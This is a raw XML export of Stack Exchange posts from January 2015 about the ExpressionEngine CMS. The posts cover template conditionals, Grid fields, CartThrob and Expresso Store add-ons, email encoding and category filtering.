  <row Id="27300" PostTypeId="2" ParentId="27276" CreationDate="2015-01-05T01:48:30.060" Score="0" Body="&lt;p&gt;Thanks to Werner from the EllisLab Community Boards for this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to use the field type from &lt;a href=&quot;https://devot-ee.com/add-ons/eevent-helper&quot; rel=&quot;nofollow&quot;&gt;Event Helper&lt;/a&gt; to achieve the solution that I was looking for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{grid search:dateinfo=&quot;&amp;lt;?php echo strtotime('1/2/15'); ?&amp;gt;&quot;}&#xA;        &amp;lt;b&amp;gt;date2: {grid:title}&amp;lt;br /&amp;gt;&#xA;        &amp;lt;b&amp;gt;dateinfo: {grid:dateinfo}&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {/grid}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The actual Event Helper extension still needs to be updated for the new EE version (I'm running 2.9.2) or it will create PHP errors, so I recommend installing only the field type.&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2015-01-05T01:48:30.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27301" PostTypeId="2" ParentId="27243" CreationDate="2015-01-05T01:54:29.277" Score="1" Body="&lt;p&gt;Found the answer, you cannot have pagination_base set if you want it to include /category/general/ in the URL, it skips these otherwise.&lt;/p&gt;&#xA;" OwnerUserId="3897" LastActivityDate="2015-01-05T01:54:29.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27302" PostTypeId="1" CreationDate="2015-01-05T11:36:12.380" Score="0" ViewCount="87" Body="&lt;p&gt;On two separate websites in the past few months (one with EE 2.8.1 and CartThrob 2.6, and another with EE 2.5.5 and CartThrob 2.3.6), we've had an EE website break due to a corrupted CartThrob table (showing a white screen to users). This is the error message we had:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 145&#xA;Table './databasename/exp_cartthrob_cart' is marked as crashed and should be repaired&#xA;SELECT `cart` FROM (`exp_cartthrob_cart`) WHERE `id` = '0' LIMIT 1&#xA;Filename: third_party/cartthrob/models/cart_model.php&#xA;Line Number: 28&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To fix the issue, we simply repaired the exp_cartthrob_cart table in phpMyAdmin. For info, this is what phpMyAdmin said about the table before we repaired it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hngZT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in the SQL dump we did before the repair, it only exported the following for this table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-- Table structure for table `exp_cartthrob_cart`&#xA;--&#xA;-- in use(#145 - Table './databasename/exp_cartthrob_cart' is marked as crashed and should be repaired)&#xA;-- Error reading data: (#145 - Table './databasename/exp_cartthrob_cart' is marked as crashed and should be repaired)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although the fix was simple, I'm concerned in case the issue happens again, given it's already happened twice now on two different sites (both on different web servers too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea why this might have happened and how we can stop it from happening again please? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2015-04-23T08:28:04.967" Title="exp_cartthrob_cart is marked as crashed and should be repaired" Tags="|cartthrob|database|mysql|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27303" PostTypeId="1" AcceptedAnswerId="27306" CreationDate="2015-01-05T14:07:02.463" Score="0" ViewCount="29" Body="&lt;p&gt;Does any of the shipping modules provide a feature to print the package slip?&#xA;This is not really clear when browsing through the documentation and feature overview on the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind reagards,&#xA;Diederik&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2015-01-05T18:14:01.217" Title="Packaging slip and shipping modules" Tags="|expresso-store|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27304" PostTypeId="2" ParentId="27297" CreationDate="2015-01-05T16:05:21.247" Score="1" Body="&lt;p&gt;Do you have any other params in your tag? Can you enter the entry_id of the order in question and see a specific order? (or dynamic=&quot;no&quot; to see more?)&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2015-01-05T16:05:21.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27305" PostTypeId="2" ParentId="27297" CreationDate="2015-01-05T18:07:34.983" Score="1" Body="&lt;p&gt;Depending on how you you have your order statuses setup you will need to ad the status parameter to the channel entries tag. By default you will only see status set to open. Adding &lt;code&gt;not closed&lt;/code&gt; should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;orders&quot; status=&quot;not closed&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will show everything status but closed but you could also specify each status you want to show.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;orders&quot; status=&quot;open|pending|new|processing&quot;}&#xA;{!-- whatever status names you have setup --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-01-05T18:07:34.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27306" PostTypeId="2" ParentId="27303" CreationDate="2015-01-05T18:14:01.217" Score="0" Body="&lt;p&gt;The FedEx, UPS, USPS add-ons don't actually register the package with the provider but just calculate a possible rate. Therefore you would not be able to create a shipping label out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to create a slip to include in the box to list the content you can either use the the built in PDF from the CP or create a template with the Orders tag pair.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-01-05T18:14:01.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27307" PostTypeId="1" CreationDate="2015-01-05T18:21:22.190" Score="4" ViewCount="171" Body="&lt;p&gt;I'm really sorry this is a bit of a vague question, but I'm wondering if anyone has any thoughts that may shed some light on this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently installed the &quot;&lt;a href=&quot;http://devot-ee.com/add-ons/better-workflow&quot; rel=&quot;nofollow&quot;&gt;Better Workflow&lt;/a&gt;&quot; plugin on a client's website. I literally only installed it and enabled it - I didn't change any configuration - or tweak any other settings. I left it for them to configure the workflow as they wished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few days later they informed me that some entries in their EE site were mysteriously going missing. We believed it to be caused by the Workflow plugin automatically submitting entries as Closed. They hadn't yet configured the Workflow themselves - so I disabled both the Add-on and the Module. They're both still disabled as of this moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the week that followed we noticed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Some entries still closing themselves on update&lt;/li&gt;&#xA;&lt;li&gt;Some entries closing themselves overnight (they came back on Monday after the weekend to find several entries auto-closed whilst they were gone)&lt;/li&gt;&#xA;&lt;li&gt;Some entries vanishing from the database completely and irreversibly (not closing - literally deleting)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The client is technically competent and I am certain there's not a rogue user simply deleting entries. But things are going missing - either automatically closing in seemingly mysterious circumstances or vanishing entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Could this have anything to do with Better Workflow modifying configurations?&lt;/li&gt;&#xA;&lt;li&gt;Could this have anything to do with Better Workflow at all, or is that a red herring?&lt;/li&gt;&#xA;&lt;li&gt;Are there any EE settings that auto-set expiry dates for tours or auto-close them?&lt;/li&gt;&#xA;&lt;li&gt;Have you seen anything like this before, or do you have any suggestions for how to begin to tackle this issue?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="742" LastActivityDate="2016-06-30T07:57:19.380" Title="Entries mysteriously closing" Tags="|channel-entries|better-workflow|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27309" PostTypeId="2" ParentId="27307" CreationDate="2015-01-05T21:19:20.703" Score="3" Body="&lt;p&gt;Perhaps when you deleted a member their entries were deleted as well?  This is an option in the &quot;delete member&quot; interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See screenshot.&lt;img src=&quot;https://i.stack.imgur.com/7r7bq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strangely in my testing &lt;em&gt;neither&lt;/em&gt; radio button is selected when the page loads.  I haven't gone as far as to hit the delete button so I am not certain what the result is... this is on EE 2.8.1 for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be an explanation for your entries being deleted but it would not seem to explain status changes or expiry dates changing, if that is indeed what your client is experiencing.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2015-01-05T21:19:20.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27310" PostTypeId="2" ParentId="27027" CreationDate="2015-01-05T21:29:19.637" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;{if row_count == total_rows / 2} is not exist&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;actually, is exist - from &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-9-0&quot; rel=&quot;nofollow&quot;&gt;version 2.9.0&lt;/a&gt;.  I tested it with EE v2.9.2 &amp;amp; Matrix 2.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#mathematic-operators&quot; rel=&quot;nofollow&quot;&gt;Mathematic Operators&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example for your case - split to 2 columns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if (total_rows % 2 == 0 &amp;amp;&amp;amp; total_rows / 2 == row_count) || (total_rows % 2 == 1 &amp;amp;&amp;amp; (total_rows+1) / 2  == row_count)}&#xA;                    &amp;lt;hr&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;available mathematic operators&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+           Addition&#xA;-           Subtraction / Negation&#xA;*           Multiplication&#xA;** and ^    Exponentiation&#xA;/           Division&#xA;%           Remainder of one number divided by another&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For other cases where you need to calculate something u can use &lt;a href=&quot;https://github.com/MaxLazar/mx-calculator&quot; rel=&quot;nofollow&quot;&gt;MX Calc&lt;/a&gt; add-on - it's free.&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2015-01-08T08:28:41.717" LastActivityDate="2015-01-08T08:28:41.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27313" PostTypeId="1" AcceptedAnswerId="27314" CreationDate="2015-01-06T09:22:07.027" Score="1" ViewCount="1009" Body="&lt;p&gt;I'm using a simple grid conditional to show academic references in a post. I only want to show it if someone has entered some references, but the conditional just isn't working. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if references:total_rows &amp;gt; 0}&#xA;    &amp;lt;h5&amp;gt;Further Reading&amp;lt;/h5&amp;gt;&#xA;    &amp;lt;ul&amp;gt;{references}&#xA;    &amp;lt;li&amp;gt;{references:names}, {references:pub-year}, {references:title-work}, {references:publisher}, {references:country} &amp;lt;/li&amp;gt;&#xA;    {/references}&amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried using &quot; and brackets to surround the if condition but that doesn't work either. &lt;/p&gt;&#xA;" OwnerUserId="1094" LastActivityDate="2015-01-06T23:44:00.533" Title="Grid Conditionals not working" Tags="|conditionals|grid|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27314" PostTypeId="2" ParentId="27313" CreationDate="2015-01-06T09:43:50.627" Score="0" Body="&lt;p&gt;This is a &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20621/variables-with-modifiers-not-working-in-conditionals-without-braces&quot; rel=&quot;nofollow&quot;&gt;known bug&lt;/a&gt; in EE 2.9. If you're using modifiers in conditionals, use the (otherwise not recommended) quoted-braced syntax instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{references:total}&quot; &amp;gt; 0} ... {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-01-06T09:43:50.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27317" PostTypeId="1" AcceptedAnswerId="27327" CreationDate="2015-01-06T11:13:41.710" Score="0" ViewCount="36" Body="&lt;p&gt;client would like to send notification not only to enquirer (ie email submitted in form) but also the Zoo Visitor member they enquired about 'title' gets passed to a field on the form so populates form automatically – but would somehow need to get the Zoo Visitor Member's email and use that in the notification too!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its a music agency website and the Zoo Visitors are bands – the enquirer would be a person enquiring about the band, any ideas!?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3915" LastActivityDate="2015-01-06T20:22:39.960" Title="Freeform notification email to zoo visitor member's email address too" Tags="|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27318" PostTypeId="1" AcceptedAnswerId="28462" CreationDate="2015-01-06T12:01:31.703" Score="2" ViewCount="120" Body="&lt;p&gt;Because of the URL schema on a site I'm working on I'm using {segment_x_category_id} (via Low Seg2Cat - &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-seg2cat&lt;/a&gt;) to grab the category ID and pass it to a channel entries loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is that there are a couple of specific categories which I never want to be navigable using this method. Usually I would exclude them specifically using category=&quot;not 1|2|3&quot; but when I also need to pass in the category I want to display that's not going to work... any ideas?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-01-15T01:11:04.197" Title="Prevent a category being displayed when using category=&quot;{segment_3_category_id}&quot;" Tags="|categories|low-seg2cat|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27319" PostTypeId="2" ParentId="27313" CreationDate="2015-01-06T12:58:52.327" Score="1" Body="&lt;p&gt;Should that conditional even be needed? The tag pair shouldn't return anything if there isn't at least one row, so could you not simply do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{references}&#xA;{if references:count == &quot;1&quot;}&amp;lt;h5&amp;gt;Further Reading&amp;lt;/h5&amp;gt;&amp;lt;ul&amp;gt;{/if}&#xA;&amp;lt;li&amp;gt;{references:names}, {references:pub-year}, {references:title-work}, {references:publisher}, {references:country} &amp;lt;/li&amp;gt;&#xA;{if references:count == references:total_rows}&amp;lt;/ul&amp;gt;{/if}&#xA;{/references}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20" LastActivityDate="2015-01-06T12:58:52.327" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27320" PostTypeId="2" ParentId="27318" CreationDate="2015-01-06T13:10:49.197" Score="2" Body="&lt;p&gt;If you're running 2.9, you could use a regular expression conditional to send the visitor to a 404 when trying to browse those categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_x_category_id ~ &quot;/32|15|8/&quot;}&#xA;    {redirect=&quot;404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-01-08T14:50:37.627" LastActivityDate="2015-01-08T14:50:37.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27321" PostTypeId="1" AcceptedAnswerId="27324" CreationDate="2015-01-06T13:14:47.103" Score="0" ViewCount="68" Body="&lt;p&gt;I'm building a shoe store using Expresso Store. Each product will use product modifiers to specify the sizes and colors that are available for that product. The user needs to be able to search/filter products by these modifiers (e.g. &lt;em&gt;I want a pair of &lt;strong&gt;black&lt;/strong&gt; shoes in a size &lt;strong&gt;12&lt;/em&gt;&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low Search is my go-to search module and looks like it is compatible with Store, but it doesn't appear to support the searching of modifiers.  Likewise, Store's native Search tag doesn't seem to allow searching of modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions for how this might be achieved? It seems like the kind of functionality a lot of stores would require - I'm surprised it's not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2015-01-06T17:21:10.407" Title="Search Store products by modifiers" Tags="|expresso-store|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27322" PostTypeId="1" CreationDate="2015-01-06T16:18:17.197" Score="0" ViewCount="89" Body="&lt;p&gt;A client is complaining about an increase in SPAM so I'm looking into using the &quot;encode&quot; tag  on email addresses on the site. All email addresses are generated from channel entries from a text field within a Grid field cell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this code in my template...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{facility_contact_info} &amp;lt;!--grid tag pair --&amp;gt;&#xA;{encode=&quot;{facility_contact_info:email}&quot; title=&quot;Email Us&quot;}&#xA;{/facility_contact_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this output on the front-end...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span data-eeencemail_jsuwadycop=&quot;1&quot;&amp;gt;&amp;lt;a href=&quot;mailto:yo@email.com&quot;&amp;gt;Email Us&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;/*&amp;lt;![CDATA[*/var out = '',el = document.getElementsByTagName('span'),l = ['&amp;gt;','a','/','&amp;lt;',' 115',' 85',' 32',' 108',' 105',' 97',' 109',' 69','&amp;gt;','\&quot;',' 109',' 111',' 99',' 46',' 101',' 114',' 97',' 99',' 104',' 116',' 108',' 97',' 101',' 104',' 109',' 103',' 109',' 64',' 76',' 65',' 108',' 101',' 100',' 65',':','o','t','l','i','a','m','\&quot;','=','f','e','r','h','a ','&amp;lt;'],i = l.length,j = el.length;while (--i &amp;gt;= 0)out += unescape(l[i].replace(/^\s\s*/, '&amp;amp;#'));while (--j &amp;gt;= 0)if (el[j].getAttribute('data-eeEncEmail_PuAkdwoAKM'))el[j].innerHTML = out;/*]]&amp;gt;*/&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So besides the span tag with the data-attribute, the email address looks normal in the html. Did I do something wrong, is this a bug? Does &quot;encode&quot; even work anymore? Thanks for any info!&lt;/p&gt;&#xA;" OwnerUserId="603" LastEditorUserId="603" LastEditDate="2015-01-07T18:15:01.677" LastActivityDate="2015-01-07T18:15:01.677" Title="email encode tag not working" Tags="|email|encode|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27324" PostTypeId="2" ParentId="27321" CreationDate="2015-01-06T17:21:10.407" Score="2" Body="&lt;p&gt;I just updated &lt;a href=&quot;https://github.com/low/low_search_store&quot; rel=&quot;nofollow&quot;&gt;Low Search Store&lt;/a&gt;, which allows for basic filtering by modifier. See the readme on Github for usage pointers. That should get you going for a bit at least:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results store:mod:color=&quot;black&quot; store:mod:size=&quot;12&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...or the dynamic equivalent, of course.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-01-06T17:21:10.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27325" PostTypeId="2" ParentId="18354" CreationDate="2015-01-06T19:10:51.793" Score="0" Body="&lt;p&gt;I came across this post while attempting to solve a similar problem; hopefully this will be helpful to others who need the same functionality in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/eevent-helper&quot; rel=&quot;nofollow&quot;&gt;Event Helper&lt;/a&gt; is a plugin that comes with a field type that allows for a simple date formatting WITHOUT a time stamp that can be used in GRID and MATRIX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual Event Helper extension still needs to be updated for the new EE version (I'm running 2.9.2) or it will create PHP errors, so I recommend installing ONLY the field type.&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2015-01-06T19:10:51.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27326" PostTypeId="2" ParentId="24499" CreationDate="2015-01-06T19:13:01.627" Score="1" Body="&lt;p&gt;I came across this post while attempting to solve a similar problem; hopefully this will be helpful to others who need the same functionality in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/eevent-helper&quot; rel=&quot;nofollow&quot;&gt;Event Helper&lt;/a&gt; is a plugin that comes with a field type that allows for a simple date formatting WITHOUT a time stamp that can be used in GRID and MATRIX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual Event Helper extension still needs to be updated for the new EE version (I'm running 2.9.2) or it will create PHP errors, so I recommend installing ONLY the field type.&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2015-01-06T19:13:01.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27327" PostTypeId="2" ParentId="27317" CreationDate="2015-01-06T20:22:39.960" Score="0" Body="&lt;p&gt;Regardless of where you're getting the email address from, could likely accomplish the notification by feeding that email address into a parameter such as &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#admin_notify&quot; rel=&quot;nofollow&quot;&gt;admin_notify&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;admin_notify=&quot;{email}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or directly into the &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#recipient_email_user&quot; rel=&quot;nofollow&quot;&gt;recipient_email_user&lt;/a&gt; field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;recipient_email_user&quot; value=&quot;{email}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-01-06T20:22:39.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27328" PostTypeId="2" ParentId="27313" CreationDate="2015-01-06T23:44:00.533" Score="0" Body="&lt;p&gt;I am using this code in EE2.9 without the quotes and am having zero issues. The issue @Low is referring to is when you are comparing the variable as a string. AFAIK&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if service_page_copy:total_rows &amp;gt; 0}&#xA;    {service_page_copy}&#xA;        {if &quot;{service_page_copy:headline}&quot; != &quot;&quot;}&#xA;            &amp;lt;h4&amp;gt;{service_page_copy:headline}&amp;lt;/h4&amp;gt;&#xA;        {/if}&#xA;        {if &quot;{service_page_copy:copy}&quot; != &quot;&quot;}&#xA;            {service_page_copy:copy}&#xA;        {/if}&#xA;    {/service_page_copy}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have run into a couple of oddities in the past. The only thing I can think of that you may want to try is this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Try changing the name of your field to make sure it isn't a reserved or conflicting name.&lt;/li&gt;&#xA;&lt;li&gt;Try changing your names from '-' hyphens to '_' underscores to see if that resolves your issues.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If not, let me know and I can try to replicate it on a local test environment.   :)&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2015-01-06T23:44:00.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27329" PostTypeId="1" AcceptedAnswerId="27330" CreationDate="2015-01-07T01:27:43.027" Score="0" ViewCount="89" Body="&lt;p&gt;I updated my EE install from 2.6 to 2.9. I can now see my homepage but when I click on any link I get this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unable to load the requested language file: language/english/template_router_lang.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1746" LastEditorUserId="1746" LastEditDate="2015-01-07T01:48:11.007" LastActivityDate="2015-03-08T03:18:33.123" Title="Issues with EE update: language problem" Tags="|updating|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27330" PostTypeId="2" ParentId="27329" CreationDate="2015-01-07T02:06:37.387" Score="1" Body="&lt;p&gt;Solved! Updating instructions say to copy the entire system/language/english folder from the old system folder to the new, updated one. But the old one was missing a file: template_router_lang.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to go back to the files I downloaded from EllisLab, find that file, and put it in my server. Voila.&lt;/p&gt;&#xA;" OwnerUserId="1746" LastActivityDate="2015-01-07T02:06:37.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28323" PostTypeId="1" AcceptedAnswerId="28341" CreationDate="2015-01-07T11:09:34.370" Score="2" ViewCount="27" Body="&lt;p&gt;So as the title states, I want to specify an order for the output of the &lt;code&gt;{select_member_groups}&lt;/code&gt; tag pair within &lt;code&gt;{exp:user:register}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am allowing users to register in one of three member groups with ids 5, 8 and 9. This displays in ID order, however I want to be able to have them output in the order 8, 9, 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:register allowed_groups=&quot;8|9|5&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it still outputs in the order 5, 8, 9 on the front end. I've tried various parameters on the &lt;code&gt;{select_member_groups}&lt;/code&gt; tag and none seem to work. Can't see anything about ordering it on the docs either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how I can do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it helps the EE version is 2.9.2 and User version is 3.5.0.&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2015-01-08T12:02:37.440" Title="Specify order for {select_member_groups} output" Tags="|ee2|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28324" PostTypeId="1" AcceptedAnswerId="32031" CreationDate="2015-01-07T13:42:44.980" Score="0" ViewCount="41" Body="&lt;p&gt;We're trying to display certain elements based on whether they are in a category or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type Category group&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Type1 &lt;/li&gt;&#xA;&lt;li&gt;Type2&lt;/li&gt;&#xA;&lt;li&gt;Type3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Range category group&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Range1&lt;/li&gt;&#xA;&lt;li&gt;Range2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to display all of Type 1 in a page, all of Type 2 in a page and all of Type 3 page. However I don't want Range2 items to show up on these pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've used code like this (1 is Type1 category ID and 5 is Range2):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;product&quot; category=&quot;1 not 5&quot; dynamic=&quot;no&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem we have is that if an item is part of Type1 and Range2, it'll still show up. Which is correct according to EE documentation (&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#category&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#category&lt;/a&gt;), however how can I go about making this work the way I want to? Is it possible with standard EE or do i need an additional module installed?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastEditorUserId="1014" LastEditDate="2015-01-07T13:49:56.803" LastActivityDate="2015-06-22T09:59:15.173" Title="Not displaying an entry that is in a certain category but also in other categories" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
